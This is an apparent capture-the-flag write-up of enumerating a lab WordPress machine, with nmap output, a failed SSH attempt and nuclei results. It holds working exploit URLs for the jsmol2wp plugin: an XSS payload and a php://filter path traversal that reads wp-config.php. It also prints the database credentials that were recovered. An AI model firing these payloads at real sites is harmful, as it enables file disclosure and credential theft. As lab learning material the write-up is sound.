Enumeration

nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
|   256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE

80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to <http://www.smol.thm>
|_http-server-header: Apache/2.4.41 (Ubuntu)

SSH (22)

┌──(kali㉿kali)-[~/Learning/thm/medium/smol]
└─$ ssh [email protected]                                                                       
The authenticity of host '10.10.61.19 (10.10.61.19)' can't be established.
ED25519 key fingerprint is SHA256:Ndgax/DOZA6JS00F3afY6VbwjVhV2fg5OAMP9TqPAOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.61.19' (ED25519) to the list of known hosts.
[email protected]: Permission denied (publickey).

HTTP (80)

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Running nuclei

[CVE-2018-20462] [http] [medium] <http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8>
[CVE-2023-48795] [javascript] [medium] www.smol.thm:22 ["Vulnerable to Terrapin"]
[CVE-2018-20463] [http] [high] <http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php>

Calling the high vulnerability shows the wp-config.php with the MySQL database credentials

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wpuser:kbLSF2Vop#lw3rjDZ629*Z%G

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Othr users on the box

think
xavi
diego
gege

Other user on wp

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